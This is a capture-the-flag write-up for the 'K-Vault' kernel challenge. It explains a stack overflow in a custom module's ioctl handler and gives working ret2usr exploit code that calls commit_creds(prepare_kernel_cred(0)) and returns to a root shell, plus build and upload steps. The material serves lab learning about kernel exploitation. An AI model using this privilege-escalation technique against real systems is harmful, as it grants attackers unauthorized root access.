Logo

Writeup

K-Vault Cyberspace.ma — Writeup

0 0xAsta
May 3, 2026
4 min read
pwn kernel linux stack-overflow ret2usr

K-Vault Challenge — Writeup

This writeup explains how to solve the K-Vault kernel pwn challenge. The challenge gives us a QEMU boot setup with a custom kernel module, vault.ko. The goal is to exploit /dev/vault, become root inside the guest, and read /root/flag.txt.

Full Exploit exploit.c

Summary

We get a simple kernel stack overflow in an ioctl handler:

  1. Unpack the initramfs and inspect the boot scripts.
  2. Reverse vault.ko and find the vulnerable ioctl.
  3. Recover fixed kernel symbols because KASLR is disabled.
  4. ret2usr into userland code because SMEP and SMAP are disabled by boot args.
  5. Call commit_creds(prepare_kernel_cred(0)) and return to a root shell.

The final exploit is a small static ELF uploaded to the remote shell, then executed to spawn /bin/sh as root.

Challenge Setup

The provided files are:

bzImage
initramfs_player.cpio.gz
run.sh

The runner boots the kernel like this:

Terminal window
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./initramfs.cpio.gz \
-cpu kvm64,+smep,+smap \
-append "console=ttyS0 nopti nokaslr nosmep nosmap quiet" \
-monitor /dev/null \
-nographic \
-no-reboot

The important part is the kernel command line:

nokaslr nosmep nosmap

So kernel addresses are fixed, and the CPU protections that normally block ret2usr are disabled.

Initramfs Analysis

Unpack the initramfs:

Terminal window
mkdir rootfs
cd rootfs
zcat ../initramfs_player.cpio.gz | cpio -idm --no-absolute-filenames

The /init script loads the vulnerable module and exposes the device:

Terminal window
/bin/busybox insmod /vault.ko
/bin/busybox mknod /dev/vault c $(/bin/busybox cat /proc/devices | /bin/busybox grep vault | /bin/busybox awk '{print $1}') 0
/bin/busybox chmod 666 /dev/vault

The flag is protected as root-only:

Terminal window
/bin/busybox chown 0:0 /root/flag.txt
/bin/busybox chmod 400 /root/flag.txt
/bin/busybox chmod 700 /root

The shell is then dropped to the ctf user, so we need kernel privilege escalation.

Module Analysis

The module is not stripped and contains debug info:

vault.ko: ELF 64-bit LSB relocatable, x86-64, with debug_info, not stripped

Useful symbols:

0000000000000000 t vault_ioctl
0000000000000050 T gadget_bridge

The vulnerable function is tiny:

0000000000000000 <vault_ioctl>:
5: cmp $0x1337,%esi
b: jne fail
d: push %rbp
e: mov %rdx,%rsi
11: mov $0x100,%edx
16: mov %rsp,%rbp
19: sub $0x40,%rsp
1d: lea -0x40(%rbp),%rdi
21: call _copy_from_user
26: leave
31: ret

In C-like form:

long vault_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
char buf[0x40];
if (cmd == 0x1337)
copy_from_user(buf, (void __user *)arg, 0x100);
else
return -EINVAL;
}

buf is only 0x40 bytes, but copy_from_user copies 0x100 bytes. This overwrites saved rbp and the return address.

Stack Layout

The function allocates 0x40 bytes:

sub rsp, 0x40
lea rdi, [rbp - 0x40]
copy_from_user(rdi, user_arg, 0x100)

So the overflow layout is:

0x00 - 0x3f: stack buffer
0x40 - 0x47: saved rbp
0x48 - 0x4f: saved rip

Payload:

'A' * 0x40
fake saved rbp
address of userland ring0 function

Because nosmep is set, the kernel can return directly to a userspace address.

Kernel Symbol Addresses

The ctf user sees zeroed kallsyms:

0000000000000000 T commit_creds
0000000000000000 T prepare_kernel_cred

But this is only a permission issue. Since KASLR is disabled, we can boot locally as root with rdinit=/bin/sh, mount proc/sysfs, load the module, and read the real addresses:

Terminal window
/bin/busybox mount -t proc proc /proc
/bin/busybox mount -t sysfs sysfs /sys
/bin/busybox insmod /vault.ko
/bin/busybox grep ' commit_creds\| prepare_kernel_cred\| swapgs_restore_regs_and_return_to_usermode' /proc/kallsyms

The important addresses:

ffffffff810f84e0 T commit_creds
ffffffff810f87b0 T prepare_kernel_cred

We do not need a full kernel ROP chain because SMEP/SMAP are disabled. A ret2usr payload is enough.

Exploit Strategy

The exploit does:

  1. Save userland cs, ss, rsp, and rflags.
  2. Open /dev/vault.
  3. Build an overflow payload.
  4. Overwrite saved RIP with a userspace function pointer.
  5. In ring0, run:
commit_creds(prepare_kernel_cred(0));
  1. Return safely to userspace with swapgs; iretq.
  2. Execute /bin/sh.

The kernel-mode callback:

__attribute__((noreturn)) static void get_root(void)
{
typedef unsigned long (*prepare_kernel_cred_t)(unsigned long);
typedef int (*commit_creds_t)(unsigned long);
((commit_creds_t)0xffffffff810f84e0)(
((prepare_kernel_cred_t)0xffffffff810f87b0)(0)
);
__asm__ volatile(
"swapgs\n"
"pushq %[ss]\n"
"pushq %[sp]\n"
"pushq %[rflags]\n"
"pushq %[cs]\n"
"pushq %[rip]\n"
"iretq\n"
:
: [ss] "r"(user_ss),
[sp] "r"(user_sp),
[rflags] "r"(user_rflags),
[cs] "r"(user_cs),
[rip] "r"(win)
: "memory");
__builtin_unreachable();
}

The overflow part:

char payload[0x100];
for (int i = 0; i < sizeof(payload); i++)
payload[i] = 'A';
*(unsigned long *)(payload + 0x40) = 0; // saved rbp
*(unsigned long *)(payload + 0x48) = (unsigned long)get_root;
ioctl(fd, 0x1337, payload);

Building the Exploit

The guest has a very small userland, so the exploit is built as a static no-libc ELF:

Terminal window
gcc -static -nostdlib \
-fno-stack-protector -no-pie -fno-pie \
-ffreestanding -fno-builtin \
-fno-asynchronous-unwind-tables -fno-unwind-tables \
-fno-ident -Os \
-Wl,-N -Wl,--build-id=none \
-s exploit.c -o exploit

-Wl,-N keeps the ELF small by avoiding page-aligned load segments. This matters on remote because we upload the binary through a slow serial shell.

The final binary is around 1.3K.

Remote Upload Detail

BusyBox in the initramfs has uudecode, but its xxd applet does not support reverse mode:

xxd: invalid option -- 'r'

So the solver uuencodes the exploit locally, pastes it into the remote shell, decodes it, then runs it:

Terminal window
cat > /tmp/e.uue <<'EOF'
begin 755 /tmp/e
...
`
end
EOF
/bin/busybox uudecode /tmp/e.uue
/bin/busybox chmod +x /tmp/e
/tmp/e

The remote service sometimes drops connections while the VM is still booting. The solver should wait for the shell prompt, upload line-by-line, drain output, and retry dropped connections instead of crashing on BrokenPipeError.

Local Validation

After placing exploit into /home/ctf in a test initramfs, the exploit succeeds:

uid=1000(ctf) gid=1000 groups=1000
[*] triggering overflow
[+] root shell
/home/ctf # id
uid=0(root) gid=0
/home/ctf # cat /root/flag.txt
CSP{f4k3_fl4g_f0r_l0c4l_t3st1ng}

The local flag is fake, but it proves the privilege escalation works. On the remote service, the same root shell can read the real /root/flag.txt.

Notes

  • The module bug is a direct kernel stack overflow in vault_ioctl.
  • nokaslr makes commit_creds and prepare_kernel_cred stable.
  • nosmep nosmap makes ret2usr viable.
  • The exploit does not need a kernel ROP chain.
  • The remote service may close during boot or upload, so retry logic matters.
  • BusyBox xxd cannot decode hex here; use uudecode.